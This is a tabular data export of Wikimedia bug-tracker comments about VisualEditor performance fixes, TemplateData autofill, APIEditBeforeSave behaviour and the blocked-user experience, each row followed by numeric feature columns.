+238424,APIEditBeforeSave isn't replacing sections like the documentation claims,*** Bug 52895 has been marked as a duplicate of this bug. ***,,,1377001419,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238419,APIEditBeforeSave isn't replacing sections like the documentation claims,*** Bug 52062 has been marked as a duplicate of this bug. ***,,,1376490819,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+238414,APIEditBeforeSave isn't replacing sections like the documentation claims,"Change 76082 merged by jenkins-bot:
+Make APIEditBeforeSave give the whole revision
+
+https://gerrit.wikimedia.org/r/76082",,,1375288239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238408,APIEditBeforeSave isn't replacing sections like the documentation claims,"See also:
+* [[Wikipedia talk:Edit filter#Abusefilter bug on mobile version]]",,,1375279646,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+238403,APIEditBeforeSave isn't replacing sections like the documentation claims,"Change 76082 had a related patch set uploaded by Hoo man:
+Make APIEditBeforeSave give the whole revision
+
+https://gerrit.wikimedia.org/r/76082",,,1374839212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238396,APIEditBeforeSave isn't replacing sections like the documentation claims,"After some investigation it turns out, that this is an issue with the edit API. I'm just preparing a fix, but takes some time as both the API and EditPage itself are rather messy.",,,1374837132,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+238389,APIEditBeforeSave isn't replacing sections like the documentation claims,Hoo suspects that this is a problem with VisualEditor. Copying a few folks accordingly.,,,1374832035,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+238385,APIEditBeforeSave isn't replacing sections like the documentation claims,"Marius, can you take a look at these? Chris is on vacation right now.",,,1374810663,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+238380,APIEditBeforeSave isn't replacing sections like the documentation claims,"The edits in question:
+https://en.wikipedia.org/w/index.php?title=Christoph_Waltz&diff=565783472&oldid=565445126
+
+and
+
+https://en.wikipedia.org/w/index.php?title=Stone_Gossard&diff=565724723&oldid=563438457",,,1374810629,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+54029,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","If the TemplateData for a template specifies a default value for a given parameter (see bug 52028) then that value should be prefilled when that parameter is added to the template. 
+
+An example would be the current date for an accessdate parameter.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1374764040,1411174623.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rlrxpsau6vww7ypqckon,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+234969,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","Change 146396 merged by jenkins-bot:
+Add 'autovalue' to TemplateData
+
+https://gerrit.wikimedia.org/r/146396",,,1411174708,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rlrxpsau6vww7ypqckon,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+234964,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","Change 146396 had a related patch set uploaded by Jforrester:
+[wip] Add 'autovalue' to TemplateData
+
+https://gerrit.wikimedia.org/r/146396",,,1411171994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rlrxpsau6vww7ypqckon,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+234959,"VisualEditor: Template parameters with ""autofill"" TemplateData status should be autofilled","That's not the meaning of the ""default"" flag on parameters, but of the proposed ""autofill"" concept from bug 51428; relabelling for clarity.",,,1376122157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rlrxpsau6vww7ypqckon,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0
+54014,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"In Firefox, scrolling a large VE page is very slow, with visible pauses between repaints, predominantly because of the floating toolbar. Calling disableFloating() on the toolbar from the JS console causes scrolling to be roughly as fast as scrolling the non-VE page view.
+
+Timo says he knows how to fix this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374729120,1375232987.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_description,resolved,True,c1,3,True,False,True,3,,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+233509,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,Merged and deployed.,,,1375232987,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+233504,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"Change 76241 merged by jenkins-bot:
+ve.ui.Toolbar: Refactor floating logic for performance
+
+https://gerrit.wikimedia.org/r/76241",,,1375223509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+233499,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"Change 76241 had a related patch set uploaded by Jforrester:
+ve.ui.Toolbar: Refactor floating logic for performance
+
+https://gerrit.wikimedia.org/r/76241",,,1375072077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+233493,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,https://gerrit.wikimedia.org/r/#/c/76241/,,,1375057326,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+233486,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"(In reply to comment #1)
+> @Krinkle: How are you going to fix this? :-)
+
+<Krinkle> I already did, in a way. Earlier this week I re-used that logic for mw.notification (which now also has a floating mode, previously mw.notify messages weren't visible if you scroll down the page, which is a problem for VE). However I noticed a few things that could be optimised that I did 'right' from the get go for mw.notify. I should be able to apply that to ve as well
+<Krinkle> most notably the fact that floating calculation for ve toolbar calls offset() each time
+<Krinkle> which is a repaint for something that is unlikely to ever change
+<Krinkle> I realised it when I was doing mwnotify but never remembered to fix it in VE",,,1374730873,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,True,,,3,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+233477,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,@Krinkle: How are you going to fix this? :-),,,1374730687,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+54013,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Using the backspace or delete key to delete plain text on a large page takes hundreds of milliseconds per character, predominantly because ve.dm.Document.prototype.commit() is called, which leads to ve.ce.ContentBranchNode.prototype.onChildUpdate(), which leads to ve.dm.Converter.openAndCloseAnnotations(), which calls containsComparableForSerialization(), which is apparently O(N). 
+
+Bug 52012 also affects backspace performance.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374728460,1375233739.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-bd27gm56r2au6k3ieg34,task_description,resolved,True,c1,3,True,False,True,3,,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+233454,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,Merged and deployed.,,,1375233739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+233447,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76110 merged by jenkins-bot:
+Speed up openAndCloseAnnotations by using store indexes
+
+https://gerrit.wikimedia.org/r/76110",,,1374887599,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+233439,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76100 merged by jenkins-bot:
+Quick optimisation to avoid containsComparableForSerialization
+
+https://gerrit.wikimedia.org/r/76100",,,1374880443,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233434,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,With these two patches ^^^ getDomFromData has sped up from 1150ms to 180ms on my local copy of en:Argentina.,,,1374854401,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+233430,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76110 had a related patch set uploaded by Esanders:
+Further annotation optimisations
+
+https://gerrit.wikimedia.org/r/76110",,,1374853391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233426,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76100 had a related patch set uploaded by Esanders:
+Quick optimisation to avoid containsComparableForSerialization
+
+https://gerrit.wikimedia.org/r/76100",,,1374849799,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233421,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"(In reply to comment #5)
+> Even further suggestion from Tim: make the IVStore use a binary search tree,
+> where the nodes are something like { index: number, value: Object } and the
+> comparison operates on the objects, something similar to oo.compare() but
+> returns < or >. This requires an ordering on the keys. We could do alphabetic
+> order like in keySortReplacer, but it would be more efficient to have the
+> ve.dm.Annotation object return an ordering on the keys. Or something. This is
+> an incomplete thought and requires experimentation.
+
+The point of this would be to reduce the memory usage of IVStore by eliminating the duplication caused by using the JSON as a key, and also to reduce the CPU overhead of ve.getHash(). But note that neither of these things are confirmed as performance issues in the profiling I have done so far.
+
+In any case, comparison of store indexes would obviously be faster than binary search followed by value comparison. So I think index comparison should be the priority, of the ideas discussed here, assuming it can be implemented in such a way that pressing backspace on plain text will predominantly hit index comparison rather than value comparison. After that is implemented, we can do more profiling and decide whether the use of ve.getHash() is a problem worthy of significant development time.",,,1374802942,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,3,,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+233415,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"(In reply to comment #3)
+> Suggestion from IRC, posting to the bug for prosperity:
+
+s/prosperity/posterity/ ;-)
+
+[cf. bug 49198 comment 5]",,,1374801722,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+233411,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Even further suggestion from Tim: make the IVStore use a binary search tree, where the nodes are something like { index: number, value: Object } and the comparison operates on the objects, something similar to oo.compare() but returns < or >. This requires an ordering on the keys. We could do alphabetic order like in keySortReplacer, but it would be more efficient to have the ve.dm.Annotation object return an ordering on the keys. Or something. This is an incomplete thought and requires experimentation.
+
+Giving this to Ed because he's a machine that turns vague incomplete suggestions into working code and fixes a few bugs in the process too ;)",,,1374797517,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,1,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+233408,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Further suggestion: when we're comparing annotations, try to compare store indexes wherever possible. When we're comparing for identity, like when comparing for serialization when both annotations are generated, we could compare store indexes rather than using ve.compare(). And if we throw comparable objects into the store, we might be able to do index comparison there too.
+
+Maybe ve.dm.Annotation instances should have properties that track the store index of their this.element and their comparable objects?
+
+Ed, could you play with this?",,,1374793855,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+233404,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Suggestion from IRC, posting to the bug for prosperity:
+
+[15:12]	<RoanKattouw> TimStarling: As a hack, could you try to set ve.compare = function ( a, b ) { return ve.getHash( a ) === ve.getHash( b ); }; instead of ve.compare = oo.compare; (in ve.js) and see how much that mitigates the problem?",,,1374793262,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+233398,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"(In reply to comment #1)
+> In both actions, on my favourite test case for today ([[Argentina]]), about
+> 10s of CPU usage is attributable to openAndCloseAnnotations(), and about 80%
+> of that is from oo.compare().
+
+Perhaps related to bug 51948.",,,1374733149,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+233391,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"The slowness of ve.dm.Converter.openAndCloseAnnotations() also dominates the performance of ve.dm.Converter.prototype.getDomFromData(), severely affecting both initial setup and ""review changes"". In both actions, on my favourite test case for today ([[Argentina]]), about 10s of CPU usage is attributable to openAndCloseAnnotations(), and about 80% of that is from oo.compare().",,,1374731780,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+54004,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"When a blocked users attempts to edit a page in the classic editor they see a large, red-bordered notice that tells them:
+*They are unable to edit, but they can still read
+*Who blocked them
+*Why they are blocked (shows them the block log extract)
+*When the block expires
+*That they can usually edit their talk page and email other editors and aministrators
+*What to do if the block is unclear or doesn't seem relevant
+*How to appeal a block (links to policy and guide)
+*That they can view and copy the source of a page
+
+In contrast when a blocked user attempts to edit a page in VE
+*No notice appears, and editing works as normal
+*When they click ""Save page"" they can review their changes and enter an edit summary as normal
+
+When they try to save their edits they see a small white box with a message that tells them:
+*There was a server problem
+*Their request was unsuccessful because they have been blocked
+They can then choose only ""OK"" which takes them back to the save page dialog.
+
+This is very bad because
+*The message they see appears to say they caused a server error - cue panic mode for non-technical users (""Help! I've broken Wikipedia!"" - that is exactly the reaction I would expect from my mother.)
+*They have wasted potentially lots of time on an edit they cannot save
+*It doesn't tell them what being blocked means
+*It doesn't tell them who blocked them or for what reason 
+*It doesn't tell them what they can do to get help - they can't ask questions at the page that seems to be about asking questions for example (see Bug 51875)
+*It doesn't tell them when the block expires, how they can appeal it or how they can contact anybody.
+
+For some users it is even worse that that - saving fails silently: Bug 51999
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51999
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51454
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51547
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53009",High,80.0,1374711420,1395874866.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_description,resolved,True,c1,3,False,False,False,3,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+232641,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Change 119204 merged by jenkins-bot:
+Show blockedtext message in edit notices
+
